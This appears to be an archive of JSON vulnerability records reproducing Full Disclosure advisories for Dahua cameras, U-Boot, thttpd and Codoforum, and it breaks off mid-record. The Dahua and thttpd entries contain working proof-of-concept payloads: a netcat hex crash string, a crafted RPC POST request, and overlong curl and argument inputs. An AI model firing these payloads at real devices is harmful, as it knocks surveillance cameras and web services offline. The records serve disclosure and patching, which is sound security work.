Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260611-0\n-------------------------------------------------------------------------------\ntitle| Multiple Denial of Service\nproduct| Dahua DH-IPC-HFW Series\nvulnerable version| \u003c=V3.142.0000000.8.R.250826\nfixed version| Versions build including and after 2026-03-26.\nCVE number| CVE-2026-29115, CVE-2026-29116\nimpact| High\nhomepage| https://www.dahuasecurity.com/\nfound| 20.10.2025\nby| T. Weber, S. Eisenreich-Dietz\n| (Office Vienna)\n| CyberDanube Security Research\n| Vienna\n|\n| https://www.cyberdanube.com\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"Dahua Technology is a world-leading video-centric AIoT solution and service\nprovider. Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/120"
        },
        {
          "url": "http://192.168.19.136"
        },
        {
          "url": "http://192.168.19.136/"
        },
        {
          "url": "https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.dahuasecurity.com/"
        },
        {
          "url": "https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products"
        },
        {
          "url": "https://www.dahuasecurity.com/aboutUs/introduction/0"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/120"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-29115",
              "type": "related"
            },
            {
              "destId": "CVE-2026-29116",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0378",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120",
            "automated": true,
            "contentSha256": "54334e7e0ace4f2bcef1a02ca2dda1ed94f701594b5a60243bb33f40605d3c52",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/120",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T12:13:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0378"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0378"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "t.preissl via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nTitle: Multiple Integer Overflows in U-Boot Filesystem Handling\nAuthor: Timo Prei\u00dfl \u003ct.preissl () proton me\u003e\nDate: 2026-02-11\nCVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293\nAffected: Denx U-Boot \u003c= v2026.01-rc4\nFixed in: v2026.04-rc1 (commit adccdb2)\n\n== Overview ==\n\nMultiple integer overflow vulnerabilities were discovered in the U-Boot\nbootloader\u0027s filesystem handling code and command-line interface. These\nflaws can lead to heap memory under-allocation followed by heap-based\nbuffer overflows, potentially allowing Arbitrary Code Execution (ACE)\nin the pre-boot environment.\n\n== Vulnerability Details ==\n\n--- CVE-2025-70290: ZFS Metadata Integer Overflow ---\n\nComponent: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist\nImpact: A crafted ZFS filesystem image with malformed on-disk metadata\ncan trigger an integer overflow during the size calculation\npassed to calloc(), resulting in an undersized allocation and\nsubsequent out-of-bounds memory access.\nFix: Validation of allocation size using __builtin_add_overflow.\n\n--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---\n\nComponent: fs/fs.c, function do_mv\nImpact: Missing length checks in the directory move command allow an\ninteger overflow during string length addition. An attacker\nwith U-Boot shell access can trigger an under-allocation,\nresulting in a heap buffer overflow via strcpy().\nFix: Safe addition of string lengths using compiler intrinsics.\n\n--- CVE-2025-70292: SquashFS Integer Overflow ---\n\nComponent: fs/squashfs/sqfs.c, function sqfs_concat_tokens\nImpact: Manipulated token lists trigger an overflow in\nsqfs_get_tokens_length(), causing heap under-allocation\nsubsequently overflown by strcpy().\nFix: Validation of total token length before allocation.\n\n--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---\n\nComponent: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable\nImpact: An integer overflow in the block group descriptor table size\ncalculation results in an undersized buffer being passed to\nmemcpy(), causing memory corruption.\nFix: Guarded multiplication of block group count and descriptor size.\n\n== Patch ==\n\nAll issues are fixed in the U-Boot master branch.\n\nCommit: adccdb2f605a6e8e046712398712398123\n\"fix integer overflows in filesystem code\"\n\nhttps://source.denx.de/u-boot/u-boot/-/commit/adccdb2\n\n== Timeline ==\n\nPatch series submitted to upstream mailing list:\nhttps://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/\n\nFix merged: v2026.04-rc1\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/119"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/119"
        },
        {
          "url": "https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://source.denx.de/u-boot/u-boot/-/commit/adccdb2"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/119"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-70290",
              "type": "related"
            },
            {
              "destId": "CVE-2025-70293",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0377",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/119",
            "automated": true,
            "contentSha256": "fbc113ddbae742d7683314d4afdd309dbb88dada1172712fb6d80816bd39b11f",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/119",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-28T15:58:35Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0377"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0377"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "Thttpd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the redirect CGI\nprogram distributed with thttpd. The vulnerability is caused by unsafe\nstring concatenation when constructing redirect URLs using\nattacker-controlled CGI environment variables. A remote, unauthenticated\nattacker can trigger the vulnerability via a crafted HTTP request,\nresulting in a crash of the CGI process and denial of service. In\nenvironments lacking modern exploit mitigations, this condition may be\nexploitable for arbitrary code execution.\n\nThe redirect CGI program processes HTTP requests by reading CGI environment\nvariables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule\n(*) is present in the .redirects file, the program appends user-controlled\npath data to a fixed-size stack buffer using strcat() without enforcing\nbounds checks. Specifically, when a redirect rule contains a wildcard\nmatch, the following logic is executed:\nstrcat(url, script_name + (star - file)); Both script_name and the appended\ndata originate from HTTP request paths controlled by the client. No\nvalidation is performed to ensure the combined string length fits within\nthe allocated stack buffer (char url[5000]), resulting in a stack-based\nbuffer overflow.\n\n*Affected Component:*\n\n   - Project: thttpd\n   - Component: cgi-src/redirect.c\n   - Program Type: CGI executable\n   - Affected Function: main()\n   - Vulnerable Operation: strcat() on fixed-size stack buffer\n   - Vulnerable Buffer: char url[5000]\n\n\n*Attack Vector*\n\n   - Remote\n   - Unauthenticated\n   - No user interaction required\n\n\n*Proof of Concept (Remote):*\n\n*Attacker:*\ncurl \"http://127.0.0.1:8080/cgi-bin/redirect$(printf \u0027/A%.0s\u0027 {1..1000})\"\n----\ncurl: (52) Empty reply from server\nThis indicates the CGI process terminated unexpectedly during request\nhandling.\n\n*Server:*\nbusybox httpd -f -p 8080 -h /var/www\n\n*Output:*\n=================================================================\n==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50\nWRITE of size 70 at 0xfbff8c503cd8 thread T0\n    #0 0xffff8ee025ec in strcat\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:520\n    #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195\n    #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)\n(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)\n\nAddress 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in\nframe\n    #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:16:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/16"
        },
        {
          "url": "http://127.0.0.1:8080/cgi-bin/redirect$"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0004",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16",
            "automated": true,
            "contentSha256": "6b6160b5b9a50ced05080c778c3f18cf8688b61192d106562150e665b5297179",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:49:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-11T08:16:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0004"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "Thttpd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n   - File: extras/htpasswd.c\n   - Function: main\n   - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n   - thttpd prior to latest release (all known versions shipping\n   extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n   - Denial of Service\n   - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n    #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n    #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:16:46Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/15"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0315",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
            "automated": true,
            "contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:48:25Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:10:29Z",
    "dateUpdated": "2026-09-11T08:16:46Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0315"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Codoforum",
          "vendor": "Codoforum",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Codoforum 5.4.1.\n\nType: Authenticated arbitrary file upload to PHP RCE (CWE-434)\nCVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\nImpact: Arbitrary PHP code execution as www-data: the forum database, user data, and application files under attacker \ncontrol, commonly escalating to the underlying host.\nAuthentication: authenticated (requires valid session)\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/codoforum-admin-cat-img-polyglot-upload-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:15:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/2"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/codoforum-admin-cat-img-polyglot-upload-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Codoforum 5.4.1 Authenticated arbitrary file upload to PHP RCE (7.2)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0162",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/2",
            "automated": true,
            "contentSha256": "976a662da445b62be07b0c57b190259f77f56ebd75846ddc37273f4e819db39e",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T15:10:08Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:35:56Z",
    "dateUpdated": "2026-09-11T08:15:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0162"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Nmap",
          "vendor": "Nmap",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "advisories"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
